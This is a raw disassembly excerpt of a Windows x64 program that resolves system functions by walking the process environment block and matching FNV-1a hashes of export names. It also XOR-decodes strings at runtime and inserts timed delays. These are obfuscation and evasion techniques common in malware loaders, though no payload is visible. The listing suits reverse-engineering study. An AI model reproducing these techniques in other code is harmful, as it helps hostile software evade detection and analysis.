mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140015760
lea rdx, [rbp - 0x68]
mov rcx, r10
call fcn.1400019c0
lea rdx, [0x140002c50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, r15d
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov edx, eax
lea rcx, [rbp + 0x9b0]
call fcn.140003520
mov dword [rbp + 0x7a8], 0x1388
mov dword [rbp + 0x7ac], 0x2710
lea rdx, [rbp + 0x9b0]
lea rcx, [rbp + 0x7a8]
call fcn.140001db0
mov ebx, eax
test eax, eax
jle 0x140015875
mov qword [rbp - 0x80], 0x384
lea rcx, [rbp - 0x80]
call fcn.140002c70
movzx ecx, word [0x140086528]
mov word [rsp + 0x54], cx
cmp byte [0x140086529], r15b
je 0x140015828
mov byte [rsp + 0x54], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x55], 0x3a
lea rdx, [rsp + 0x54]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400019c0
lea rdx, [0x140002c50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc edi
sub ebx, 0x384
cmp edi, 0xa
je 0x14001585a
test ebx, ebx
jg 0x140015800
lea rdx, [0x140002c10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, r15d
test ebx, ebx
jg 0x140015800
mov eax, dword [0x14008652c]
mov dword [rsp + 0x74], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140015906
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140015906
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140015901
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400158e0
cmp r8d, 0x491e0a9c
je 0x14001590b
test r9d, r9d
jne 0x1400158c0
mov rax, qword [rax]
jmp 0x140015890
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r12d, 2
jl 0x1400159b9
movdqa xmm3, xmmword [0x1400869c0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140086cd0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140086cd0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400869e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140086ad0]
movd xmm0, dword [rsp + 0x74]
xorps xmm2, xmm0
movd dword [rsp + 0x74], xmm2
jmp 0x140015a05
lea r9, [rsp + 0x74]
mov r8d, r15d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400159d0
lea rcx, [rsp + 0x74]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140015a96
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140015a96
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140015a91
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140015a70
cmp r8d, 0x2fa62ca8
je 0x140015a9b
test r9d, r9d
jne 0x140015a50
mov rax, qword [rax]
jmp 0x140015a20
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x1f4
call rdx
movups xmm0, xmmword [0x140086530]
movups xmmword [rbp - 0x30], xmm0
mov eax, dword [0x140086540]
mov dword [rbp - 0x20], eax
movzx eax, byte [0x140086544]
mov byte [rbp - 0x1c], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140015b66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140015b66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140015b61
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140015b40
cmp r8d, 0xe76fb4aa
je 0x140015b6b
test r9d, r9d
jne 0x140015b20
mov rax, qword [rax]
jmp 0x140015af0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r15d
cmp r12d, 2
jl 0x140015cdb
movdqa xmm5, xmmword [0x1400869c0]
movdqa xmm4, xmmword [0x140086cd0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400869e0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140086ad0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x2c]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140015bd0
cmp r8d, 0x15
jge 0x140015d25
movsxd rax, r8d
lea r9, [rbp - 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140015cf0
lea rcx, [rbp - 0x30]
call r11
mov eax, dword [0x140086548]
mov dword [rsp + 0x5c], eax
movzx eax, word [0x14008654c]
mov word [rsp + 0x60], ax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14008654e]
mov byte [rsp + 0x5c], reloc.WLDAP32.dll_Ordinal_32
xor byte [rsp + 0x5d], 0x3a
xor byte [rsp + 0x5e], 0x3b
xor byte [rsp + 0x5f], 0x3c
xor byte [rsp + 0x60], 0x3d
xor byte [rsp + 0x61], 0x3e
xor al, 0x3f
mov byte [rsp + 0x62], al
lea rdx, [rsp + 0x5c]
call fcn.1400019c0
lea rdx, [0x140002c50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140015e16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140015e16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140015e11
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140015df0
cmp r8d, 0x2fa62ca8
je 0x140015e1b
test r9d, r9d
jne 0x140015dd0
mov rax, qword [rax]
jmp 0x140015da0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x3e8
call rdx
mov eax, dword [0x140086550]
mov dword [rsp + 0x78], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140015ed6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140015ed6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140015ed1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140015eb0
cmp r8d, 0x491e0a9c
je 0x140015edb
test r9d, r9d
jne 0x140015e90
mov rax, qword [rax]
jmp 0x140015e60
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r12d, 2
jl 0x140015f89
movdqa xmm3, xmmword [0x1400869c0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140086cd0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140086cd0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400869e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140086ad0]
movd xmm0, dword [rsp + 0x78]
xorps xmm2, xmm0
movd dword [rsp + 0x78], xmm2
jmp 0x140015fd5
lea r9, [rsp + 0x78]
mov r8d, r15d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140015fa0
lea rcx, [rsp + 0x78]
call r11
movups xmm0, xmmword [0x140086558]
movups xmmword [rbp - 0x18], xmm0
mov eax, dword [0x140086568]
mov dword [rbp - 8], eax
movzx eax, byte [0x14008656c]
mov byte [rbp - 4], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140016086
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140016086
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140016081
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140016060
cmp r8d, 0xe76fb4aa
je 0x14001608b
test r9d, r9d
jne 0x140016040
mov rax, qword [rax]
jmp 0x140016010
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r15d
cmp r12d, 2
jl 0x1400161fb
movdqa xmm5, xmmword [0x1400869c0]
movdqa xmm4, xmmword [0x140086cd0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400869e0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140086ad0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x14]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400160f0
cmp r8d, 0x15
jge 0x140016245
movsxd rax, r8d
lea r9, [rbp - 0x18]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140016210
lea rcx, [rbp - 0x18]
call r11
movups xmm0, xmmword [0x140086570]
movups xmmword [rbp - 0x50], xmm0
movzx eax, byte [0x140086588]
movsd xmm0, qword [0x140086580]
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp - 0x38], al
movsd qword [rbp - 0x40], xmm0
mov r8d, r15d
cmp r12d, 2
jl 0x1400163cb
movdqa xmm5, xmmword [0x1400869c0]
movdqa xmm4, xmmword [0x140086cd0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400869e0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140086ad0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x4c]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400162c0
cmp r8d, 0x19
jge 0x140016415
movsxd rax, r8d
lea r9, [rbp - 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x1400163e0
lea rdx, [rbp - 0x50]
mov rcx, r10
call fcn.1400019c0
lea rdx, [0x140002c50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, r15d
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov edx, eax
lea rcx, [rbp + 0x1d40]
call fcn.140003520
mov dword [rbp + 0x7a0], 0x9c4
mov dword [rbp + 0x7a4], 0xfa0
lea rdx, [rbp + 0x1d40]
lea rcx, [rbp + 0x7a0]
call fcn.140001db0
mov ebx, eax
test eax, eax
jle 0x1400164f5
mov qword [rbp - 0x80], 0x384
lea rcx, [rbp - 0x80]
call fcn.140002c70
movzx ecx, word [0x14008658c]
mov word [rsp + 0x58], cx
cmp byte [0x14008658d], r15b
je 0x1400164a8
mov byte [rsp + 0x58], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x59], 0x3a
lea rdx, [rsp + 0x58]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400019c0
lea rdx, [0x140002c50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc edi
sub ebx, 0x384
cmp edi, 0xa
je 0x1400164da
test ebx, ebx
jg 0x140016480
lea rdx, [0x140002c10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, r15d
test ebx, ebx
jg 0x140016480
mov eax, dword [0x140086590]
mov dword [rsp + 0x7c], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140016586
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140016586
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140016581
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140016560
cmp r8d, 0x491e0a9c
je 0x14001658b
test r9d, r9d
jne 0x140016540
mov rax, qword [rax]
jmp 0x140016510
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r12d, 2
jl 0x140016639
movdqa xmm3, xmmword [0x1400869c0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140086cd0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140086cd0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400869e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140086ad0]
movd xmm0, dword [rsp + 0x7c]
xorps xmm2, xmm0
movd dword [rsp + 0x7c], xmm2
jmp 0x140016685
lea r9, [rsp + 0x7c]
mov r8d, r15d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140016650
lea rcx, [rsp + 0x7c]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140016716
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140016716
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140016711
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400166f0
cmp r8d, 0x2fa62ca8
je 0x14001671b
test r9d, r9d
jne 0x1400166d0
mov rax, qword [rax]
jmp 0x1400166a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x1f4
call rdx
lea rdx, [0x14000ffc0]
lea rcx, [rbp + 0x178]
call fcn.1400015c0
nop
mov rcx, rax
call fcn.1400097b0
nop
cmp dword [rbp + 0x180], 0
jne 0x14001d53d
movups xmm0, xmmword [0x140086598]
movups xmmword [rbp], xmm0
mov eax, dword [0x1400865a8]
mov dword [rbp + 0x10], eax
movzx eax, byte [0x1400865ac]
mov byte [rbp + 0x14], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140016816
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140016816
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140016811
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400167f0
cmp r8d, 0xe76fb4aa
je 0x14001681b
test r9d, r9d
jne 0x1400167d0
mov rax, qword [rax]
jmp 0x1400167a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
